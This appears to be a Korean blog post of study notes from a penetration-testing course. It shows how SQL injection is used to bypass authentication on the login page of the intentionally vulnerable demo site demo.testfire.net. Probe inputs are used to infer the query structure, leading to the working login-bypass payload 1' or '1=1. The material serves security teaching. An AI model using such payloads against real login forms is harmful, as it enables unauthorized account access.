블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2024.5
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

공지사항

태그목록

최근에 올라온 글


IP

ID/PW

DB


        환경                            결과

        ---------------------------       ---------------------------

        Web     SQL     SQL서버         인증 우회

-->     [  ]    -->     [     ]         DB 정보 수집

<--     [  ]    <--     [     ]         DB 정보 변경/삭제

        웹서버        DB서버

                

        문제    

        ---------------------------

        입력 -> 필터링 없이

        악의적인 SQLInjection

DB S/W  DB

------  ---------------

Excel   Excel 묶음 파일

MySQL   DB


        +


        = DB



웹 해킹과 보안





■ 사용시스템

- Windows 7(3G)

- KaliLinux(1G)



■ Windows 시스템의 Memory 3G 변경



■ Windows 7 운영체제 전원 ON



soldesk 사용자로 로그인하여 네트워크 설정 작업을 한다.



■ Windows 7 네트워크 설정 변경

IP/Netmask : 192.168.10.202/255.255.255.0(NAT)

Gateway    : 192.168.10.2

DNS        : 168.126.63.1





다음 문서는 웹 모의해킹 및 시큐어코딩 진단가이드 책의 내용을 공부 하면서 만든 문서입니다. 책의 저작권은 원본 제작자에 있으며, 이 문서는 순수한 공부 용도로만 사용하시기 바랍니다. 반드시 원본 책을 사서 읽어 보시기를 권장합니다. 좋은 내용이 너무 많습니다. ^^* *^^




웹보안(Web Security)




제 1 장   SQL Injection




[실습1]  로그인 페이지에 대한 인증 우회


■ 실습 설명

논리적 에러를 이용한 SQL Injection을 설명하고 있으며, 공격에 대한 인증 체계를 우회하여 계정과 암호없이 로그인하는 것을 테스트 한다.


■ 실습 시스템

(대상시스템) http://demo.testfire.net(웹사이트)

(점검 툴)    windows 7(웹브라우저)


■ 준비작업

Windows 7 네트워크 설정 변경

        IP/Netmask : 192.168.10.202/255.255.255.0

        Gateway    : 192.168.10.2

        DNS        : 168.126.63.1

IE 홈페이지 설정

        IE > 도구 > 인터넷옵션 > 빈페이지


① 웹사이트에 접속하여 로그인 테스트

http://demo.testfire.net 

-> 오른쪽 상단의 "Sign In" 선택한다.


그럼 다음과 같은 로그인 페이지가 보여진다.

로그인창 부분에서 다음과 같이 Username과 Password 부분에 "'1" 입력한다.


Online Banking Login

 

  Username: '1

  Password: '1

 

       Login


출력 화면은 다음과 같다.

-> (주의) 위의 에러메세지는 반드시 메모장에 복사하여 붙여서 분석하여야 정상적으로 분석이 된다.

          메모장에서 보면 웹상에서 보여지는 내용이 다르게 보여진다.


(출력 내용 분석)

An Error Has Occurred

Summary:

 

  syntax error(missing operator) in query expression 'username = ''1' AND password = ''1''.

 

Error Message:

..... 중략 .....


쿼리 구조의 필드이름은 Username, password 이고,

2개의 필드는 AND 구조로 연결되어 있으며,

입력한 문자열은 쿼테이션 내에 포함된 것을 확인 할 수 있다.

입력했던 '(작은 따옴표)는 "(큰 따옴표)로 변경된것을 확인할 수 있다.



② 추가적인 에러를 확인하기 위해서 Username과 Password 부분에 "'1 or"을 입력한다.


(실행 화면)


Online Banking Login

 

  Username: '1 or

  Password: '1 or

 

       Login


(출력 결과)


-> (주의) 위의 에러메세지는 반드시 메모장에 복사하여 붙여서 분석하여야 정상적으로 분석이 된다.

          메모장에서 보면 웹상에서 보여지는 내용이 다르게 보여진다.


(출력 내용 분석)

An Error Has Occurred

Summary:

 

  syntax error(missing operator) in query expression 'username = ''1 or' AND password = ''1 or''.

 

Error Message:

..... 중략 .....


입력한 '1 or 값에 쿼데이션(')이 양쪽으로 감싸는 구조라는 것을 알 수 있다.





③ 다른 에러 메세지를 보기 위해 Username과 Password에 1 or '1을 입력 한다.


(실행 화면)


Online Banking Login

 

  Username: 1 or '1

  Password: 1 or '1

 

       Login


(출력 결과)


-> (주의) 위의 에러메세지는 반드시 메모장에 복사하여 붙여서 분석하여야 정상적으로 분석이 된다.

          메모장에서 보면 웹상에서 보여지는 내용이 다르게 보여진다.


(출력 결과 해석)

An Error Has Occurred

Summary:

 

Syntax error (missing operator) in query expression username = '1 or '1' AND password = '1 or '1''.

Error Message:


입력한 값 중 쿼테이션이 누락된 위치(첫 번째 숫자 1 뒤에 쿼테이션이 누락됨)을 알 수 있다.






④ 위의 ①②③ 테스트를 통해 완벽한 쿼리 구조을 유추하여 공격한다.


지금까지의 테스트를 통해 얻은 지식을 정리해 보자.

입력값(Username/Passowrd)

출력 내용

'1

'1

'username = ''1' AND password = ''1''

계정과 암호 필드의 이름 확인

'1 or

'1 or

'username = ''1 or' AND password = ''1 or''

입력한 '1 때문에 "1(특수문자 '(double quote)가 2개 보임)이 된다는 것을 알수 있다. 즉 1 앞의 특수문자 '는 삽입하면 안되는 것을 알수 있다.

1 or '1

1 or '1

'username = '1 or '1' AND password = '1 or '1''

앞에서 입력한 1(1 or '1)만으로는 '1(username = '1 or '1')만 보여지므로, 1 뒤에 특수문자 '가 필요하다라는 것을 알수 있다.

                                |||

                                |||

                                VVV

(공격용 Username/Password)

1' or '1=1

1' or '1=1

'username = '1' or '1=1' AND password = '1' or '1=1"

위의 단계를 통해 얻은 정보를 바탕으로 1 뒤에 특수문자 '만 붙여진다면 '1'(username = '1') 구조가 되어, 쿼리 구조가 완선된다.



(공격 실행 화면)

Online Banking Login

 

  Username: 1' or '1=1

  Password: 1' or '1=1

 

       Login


(공격 출력 결과)

-> 정상적으로 로그인 된것을 확인할 수 있다.


(출력 결과 분석)


다음과 같은 구문을 통해 공격할 수 있었다.
username = '1' or '1=1' AND password = '1' or '1=1''







1.hwp


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160829 SQL Injection & XML Injection  (0) 2016.08.29
20160826 웹보안  (0) 2016.08.27
20160825 BitLocker  (0) 2016.08.25
20160824 윈도우즈 서버 보안  (0) 2016.08.24
20160824 Snort on CentOS6.X (수정)  (0) 2016.08.24
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함